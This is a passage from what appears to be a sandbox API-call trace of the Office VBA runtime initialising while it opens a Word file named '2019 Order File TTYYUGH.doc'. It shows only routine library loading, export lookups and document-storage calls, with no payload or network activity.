Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.551] lstrcpyA (in: lpString1=0x266e40, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0036.552] strcpy_s (in: _Dst=0x267060, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0036.552] _ultoa_s (in: _Val=0x409, _DstBuf=0x266bc0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0036.552] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0036.552] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0036.552] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0036.552] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0036.552] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x266a70, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0036.552] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0036.554] strcpy_s (in: _Dst=0x266cf0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0036.554] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fef89d0000 [0036.557] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001aa) returned 1 [0036.557] GetSystemDefaultLCID () returned 0x409 [0036.557] GetUserDefaultLCID () returned 0x409 [0036.557] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x267380, cchData=2 | out: lpLCData=".") returned 2 [0036.557] GetStockObject (i=13) returned 0x18a002e [0036.557] GetObjectA (in: h=0x18a002e, c=60, pv=0x267320 | out: pv=0x267320) returned 60 [0036.557] lstrcpyA (in: lpString1=0x7fee40c1b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0036.557] lstrcpyA (in: lpString1=0x7fee40c0b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0036.557] GetModuleFileNameA (in: hModule=0x7fee3ce0000, lpFilename=0x2673c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0036.558] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0036.558] lstrcpyA (in: lpString1=0x454c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0036.558] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x267250 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0036.558] GetVersionExA (in: lpVersionInformation=0x2672b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x2672b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.558] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x2671d8 | out: phkResult=0x2671d8*=0x9c6) returned 0x0 [0036.559] strcpy_s (in: _Dst=0x2671e0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0036.559] strcpy_s (in: _Dst=0x267260, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0036.559] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0036.559] RegQueryValueA (in: hKey=0x9c6, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x267260, lpcbData=0x2671d0 | out: lpData="\x0f}\x02\x01", lpcbData=0x2671d0) returned 0x2 [0036.559] RegCloseKey (hKey=0x9c6) returned 0x0 [0036.559] OleInitialize (pvReserved=0x0) returned 0x1 [0036.559] OaBuildVersion () returned 0x321396 [0036.559] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feff380000 [0036.559] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ab) returned 1 [0036.559] GetLastError () returned 0x0 [0036.560] GetProcAddress (hModule=0x7feff380000, lpProcName="SysFreeString") returned 0x7feff381320 [0036.560] GetProcAddress (hModule=0x7feff380000, lpProcName="LoadTypeLib") returned 0x7feff38f1e0 [0036.560] GetProcAddress (hModule=0x7feff380000, lpProcName="RegisterTypeLib") returned 0x7feff3dcaa0 [0036.561] GetProcAddress (hModule=0x7feff380000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feff411760 [0036.561] GetProcAddress (hModule=0x7feff380000, lpProcName="UnRegisterTypeLib") returned 0x7feff4120d0 [0036.561] GetProcAddress (hModule=0x7feff380000, lpProcName="OleTranslateColor") returned 0x7feff3ac760 [0036.562] GetProcAddress (hModule=0x7feff380000, lpProcName="OleCreateFontIndirect") returned 0x7feff3decd0 [0036.562] GetProcAddress (hModule=0x7feff380000, lpProcName="OleCreatePictureIndirect") returned 0x7feff3de840 [0036.562] GetProcAddress (hModule=0x7feff380000, lpProcName="OleLoadPicture") returned 0x7feff3ef420 [0036.562] GetProcAddress (hModule=0x7feff380000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feff3e4ec0 [0036.563] GetProcAddress (hModule=0x7feff380000, lpProcName="OleCreatePropertyFrame") returned 0x7feff3e9350 [0036.563] GetProcAddress (hModule=0x7feff380000, lpProcName="OleIconToCursor") returned 0x7feff3b6e40 [0036.563] GetProcAddress (hModule=0x7feff380000, lpProcName="LoadTypeLibEx") returned 0x7feff38a550 [0036.564] GetProcAddress (hModule=0x7feff380000, lpProcName="OleLoadPictureEx") returned 0x7feff3ef320 [0036.564] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0036.564] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0036.564] GetClassInfoA (in: hInstance=0x7fee3ce0000, lpClassName="VBBubble", lpWndClass=0x267310 | out: lpWndClass=0x267310) returned 0 [0036.564] RegisterClassA (lpWndClass=0x267310) returned 0x81f019cc19a [0036.564] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ac) returned 1 [0036.564] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0036.564] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0036.564] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0036.564] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0036.564] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0036.564] GlobalAddAtomA (lpString="VBDisabled") returned 0x820019cc033 [0036.564] RegisterClassExA (param_1=0x267430) returned 0x823025ac19b [0036.564] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ad) returned 1 [0036.565] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee3ce0000, lpParam=0x0) returned 0x101fc [0036.565] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ae) returned 1 [0036.565] GetVersionExA (in: lpVersionInformation=0x267220*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x267220*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.565] GetModuleHandleA (lpModuleName="USER32") returned 0x774e0000 [0036.566] GetProcAddress (hModule=0x774e0000, lpProcName="GetSystemMetrics") returned 0x774f94f0 [0036.566] GetProcAddress (hModule=0x774e0000, lpProcName="MonitorFromWindow") returned 0x774f5f08 [0036.566] GetProcAddress (hModule=0x774e0000, lpProcName="MonitorFromRect") returned 0x774f2b00 [0036.567] GetProcAddress (hModule=0x774e0000, lpProcName="MonitorFromPoint") returned 0x774eab64 [0036.567] GetProcAddress (hModule=0x774e0000, lpProcName="EnumDisplayMonitors") returned 0x774f5c30 [0036.567] GetProcAddress (hModule=0x774e0000, lpProcName="GetMonitorInfoA") returned 0x774ea730 [0036.567] GetProcAddress (hModule=0x774e0000, lpProcName="EnumDisplayDevicesA") returned 0x774ea5b4 [0036.567] MonitorFromWindow (hwnd=0x101fc, dwFlags=0x2) returned 0x10001 [0036.567] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x267430 | out: lpmi=0x267430) returned 1 [0036.567] SetWindowPos (hWnd=0x101fc, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0036.568] GetVersion () returned 0x1db10106 [0036.568] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feff380000 [0036.568] GetProcAddress (hModule=0x7feff380000, lpProcName="DispCallFunc") returned 0x7feff382270 [0036.569] GetProcAddress (hModule=0x7feff380000, lpProcName="LoadTypeLibEx") returned 0x7feff38a550 [0036.569] GetProcAddress (hModule=0x7feff380000, lpProcName="UnRegisterTypeLib") returned 0x7feff4120d0 [0036.569] GetProcAddress (hModule=0x7feff380000, lpProcName="CreateTypeLib2") returned 0x7feff40dbd0 [0036.569] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDateFromUdate") returned 0x7feff385c90 [0036.570] GetProcAddress (hModule=0x7feff380000, lpProcName="VarUdateFromDate") returned 0x7feff386330 [0036.570] GetProcAddress (hModule=0x7feff380000, lpProcName="GetAltMonthNames") returned 0x7feff3a66c0 [0036.570] GetProcAddress (hModule=0x7feff380000, lpProcName="VarNumFromParseNum") returned 0x7feff384710 [0036.570] GetProcAddress (hModule=0x7feff380000, lpProcName="VarParseNumFromStr") returned 0x7feff3848f0 [0036.571] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecFromR4") returned 0x7feff3bb640 [0036.571] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecFromR8") returned 0x7feff3bb360 [0036.571] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecFromDate") returned 0x7feff3c2640 [0036.572] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecFromI4") returned 0x7feff3a58a0 [0036.572] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecFromCy") returned 0x7feff3a5820 [0036.572] GetProcAddress (hModule=0x7feff380000, lpProcName="VarR4FromDec") returned 0x7feff3baf20 [0036.573] GetProcAddress (hModule=0x7feff380000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feff3da0c0 [0036.573] GetProcAddress (hModule=0x7feff380000, lpProcName="GetRecordInfoFromGuids") returned 0x7feff412160 [0036.573] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feff3a5af0 [0036.574] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArraySetRecordInfo") returned 0x7feff3a5a90 [0036.574] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArrayGetIID") returned 0x7feff3a5a60 [0036.574] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArraySetIID") returned 0x7feff3a5a30 [0036.575] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArrayCopyData") returned 0x7feff3860b0 [0036.575] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feff383e90 [0036.575] GetProcAddress (hModule=0x7feff380000, lpProcName="SafeArrayCreateEx") returned 0x7feff3d9f80 [0036.575] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFormat") returned 0x7feff409b20 [0036.576] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFormatDateTime") returned 0x7feff409aa0 [0036.576] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFormatNumber") returned 0x7feff409990 [0036.576] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFormatPercent") returned 0x7feff409890 [0036.576] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFormatCurrency") returned 0x7feff409770 [0036.577] GetProcAddress (hModule=0x7feff380000, lpProcName="VarWeekdayName") returned 0x7feff3eb8d0 [0036.577] GetProcAddress (hModule=0x7feff380000, lpProcName="VarMonthName") returned 0x7feff3eb800 [0036.577] GetProcAddress (hModule=0x7feff380000, lpProcName="VarAdd") returned 0x7feff4048e0 [0036.577] GetProcAddress (hModule=0x7feff380000, lpProcName="VarAnd") returned 0x7feff409470 [0036.578] GetProcAddress (hModule=0x7feff380000, lpProcName="VarCat") returned 0x7feff4096a0 [0036.578] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDiv") returned 0x7feff402fe0 [0036.578] GetProcAddress (hModule=0x7feff380000, lpProcName="VarEqv") returned 0x7feff409cf0 [0036.578] GetProcAddress (hModule=0x7feff380000, lpProcName="VarIdiv") returned 0x7feff408ff0 [0036.579] GetProcAddress (hModule=0x7feff380000, lpProcName="VarImp") returned 0x7feff409c00 [0036.579] GetProcAddress (hModule=0x7feff380000, lpProcName="VarMod") returned 0x7feff408e60 [0036.579] GetProcAddress (hModule=0x7feff380000, lpProcName="VarMul") returned 0x7feff403690 [0036.579] GetProcAddress (hModule=0x7feff380000, lpProcName="VarOr") returned 0x7feff4092d0 [0036.580] GetProcAddress (hModule=0x7feff380000, lpProcName="VarPow") returned 0x7feff402e80 [0036.580] GetProcAddress (hModule=0x7feff380000, lpProcName="VarSub") returned 0x7feff403f90 [0036.580] GetProcAddress (hModule=0x7feff380000, lpProcName="VarXor") returned 0x7feff4091a0 [0036.581] GetProcAddress (hModule=0x7feff380000, lpProcName="VarAbs") returned 0x7feff3e7c30 [0036.581] GetProcAddress (hModule=0x7feff380000, lpProcName="VarFix") returned 0x7feff3e7a60 [0036.581] GetProcAddress (hModule=0x7feff380000, lpProcName="VarInt") returned 0x7feff3e7890 [0036.581] GetProcAddress (hModule=0x7feff380000, lpProcName="VarNeg") returned 0x7feff3e7ea0 [0036.582] GetProcAddress (hModule=0x7feff380000, lpProcName="VarNot") returned 0x7feff409600 [0036.582] GetProcAddress (hModule=0x7feff380000, lpProcName="VarRound") returned 0x7feff3e76a0 [0036.582] GetProcAddress (hModule=0x7feff380000, lpProcName="VarCmp") returned 0x7feff4083f0 [0036.582] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecAdd") returned 0x7feff3b3070 [0036.583] GetProcAddress (hModule=0x7feff380000, lpProcName="VarDecCmp") returned 0x7feff3bd700 [0036.583] GetProcAddress (hModule=0x7feff380000, lpProcName="VarBstrCat") returned 0x7feff3bd890 [0036.583] GetProcAddress (hModule=0x7feff380000, lpProcName="VarCyMulI4") returned 0x7feff39caf0 [0036.583] GetProcAddress (hModule=0x7feff380000, lpProcName="VarBstrCmp") returned 0x7feff3a8a00 [0036.584] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x7e90330 [0036.585] GetUserDefaultLCID () returned 0x409 [0036.594] IMalloc:Alloc (This=0x7feff045380, cb=0x3c) returned 0x7feefe0 [0036.594] IMalloc:Alloc (This=0x7feff045380, cb=0x38) returned 0x7f6c6f0 [0036.594] IMalloc:Alloc (This=0x7feff045380, cb=0x20000*=0x78746341) returned 0x8161460 [0036.595] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x7e90210 [0036.596] IMalloc:Alloc (This=0x7feff045380, cb=0x7d8) returned 0x8181470 [0036.597] IMalloc:Alloc (This=0x7feff045380, cb=0x98) returned 0x80dbde0 [0036.597] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x7e90060 [0036.597] IMalloc:Alloc (This=0x7feff045380, cb=0x28) returned 0x7e8ff70 [0036.660] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", lpString2="") returned 1 [0036.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchWideChar=-1, lpMultiByteStr=0x267b60, cbMultiByte=107, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", lpUsedDefaultChar=0x0) returned 54 [0036.660] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 53 [0036.660] lstrcpyA (in: lpString1=0x454c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" [0036.660] SetCursor (hCursor=0x10007) returned 0x10007 [0036.661] GetCurrentThreadId () returned 0x924 [0036.661] GetCurrentThreadId () returned 0x924 [0036.661] IMalloc:Alloc (This=0x7feff045380, cb=0x4) returned 0x8116e50 [0036.661] IMalloc:Alloc (This=0x7feff045380, cb=0xf0) returned 0x8122320 [0036.661] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819a3b0 [0036.661] IMalloc:Alloc (This=0x7feff045380, cb=0x280) returned 0x8104a00 [0036.662] IMalloc:Alloc (This=0x7feff045380, cb=0xa08) returned 0x81936e0 [0036.662] IMalloc:Alloc (This=0x7feff045380, cb=0x1738) returned 0x81d4580 [0036.662] GetLocalTime (in: lpSystemTime=0x267368 | out: lpSystemTime=0x267368*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x360)) [0036.662] _ultow_s (in: _Value=0x5e3fce51, _Buffer=0x8104a2a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5e3fce51") returned 0x0 [0036.662] wcsncpy_s (in: _Destination=0x267030, _SizeInWords=0x108, _Source="*\\Z005e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z005e3fce51") returned 0x0 [0036.662] CharLowerBuffW (in: lpsz="*\\Z005e3fce51", cchLength=0xd | out: lpsz="*\\z005e3fce51") returned 0xd [0036.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e3fce51", cchWideChar=14, lpMultiByteStr=0x266f60, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.662] wcscpy_s (in: _Destination=0x819a3d0, _SizeInWords=0xe, _Source="*\\Z005e3fce51" | out: _Destination="*\\Z005e3fce51") returned 0x0 [0036.662] wcsncpy_s (in: _Destination=0x267070, _SizeInWords=0x108, _Source="*\\Z005e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z005e3fce51") returned 0x0 [0036.662] CharLowerBuffW (in: lpsz="*\\Z005e3fce51", cchLength=0xd | out: lpsz="*\\z005e3fce51") returned 0xd [0036.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e3fce51", cchWideChar=14, lpMultiByteStr=0x266fa0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.662] lstrcpyA (in: lpString1=0x454c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" [0036.662] lstrcpyA (in: lpString1=0x454c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" [0036.662] lstrcpyA (in: lpString1=0x454c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" [0036.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x454c790, cbMultiByte=-1, lpWideCharStr=0x2679d0, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 54 [0036.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0036.662] wcscpy_s (in: _Destination=0x267776, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.662] wcsncpy_s (in: _Destination=0x267390, _SizeInWords=0x108, _Source="*\\Z005e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z005e3fce51") returned 0x0 [0036.662] CharLowerBuffW (in: lpsz="*\\Z005e3fce51", cchLength=0xd | out: lpsz="*\\z005e3fce51") returned 0xd [0036.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e3fce51", cchWideChar=14, lpMultiByteStr=0x2672c0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.662] _wcsicmp (_String1="*\\Z005e3fce51", _String2="*\\Z005e3fce51") returned 0 [0036.662] wcsncpy_s (in: _Destination=0x267390, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.662] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2672c0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.663] IMalloc:Realloc (This=0x7feff045380, pv=0x819a3b0, cb=0x100) returned 0x8194a70 [0036.663] wcscpy_s (in: _Destination=0x8194ab0, _SizeInWords=0x39, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.663] wcsncpy_s (in: _Destination=0x267390, _SizeInWords=0x108, _Source="*\\Z005e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z005e3fce51") returned 0x0 [0036.663] CharLowerBuffW (in: lpsz="*\\Z005e3fce51", cchLength=0xd | out: lpsz="*\\z005e3fce51") returned 0xd [0036.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e3fce51", cchWideChar=14, lpMultiByteStr=0x2672c0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.663] _wcsicmp (_String1="*\\Z005e3fce51", _String2="*\\Z005e3fce51") returned 0 [0036.663] wcsncpy_s (in: _Destination=0x2673d0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.663] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x267300, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.663] wcscpy_s (in: _Destination=0x8104a20, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.663] CExposedDocFile::AddRef () returned 0x2 [0036.663] CExposedDocFile::OpenStorage () returned 0x0 [0036.663] CExposedDocFile::AddRef () returned 0x2 [0036.663] IMalloc:Alloc (This=0x7feff045380, cb=0x84) returned 0x819a3b0 [0036.663] wcscpy_s (in: _Destination=0x819a420, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0036.663] wcscpy_s (in: _Destination=0x266c70, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0036.663] _ltow_s (in: _Value=0, _Buffer=0x266c7c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.663] CExposedDocFile::OpenStream () returned 0x80030002 [0036.664] IMalloc:Free (This=0x7feff045380, pv=0x819a3b0) [0036.664] longjmp () [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0x84) returned 0x819a3b0 [0036.667] wcscpy_s (in: 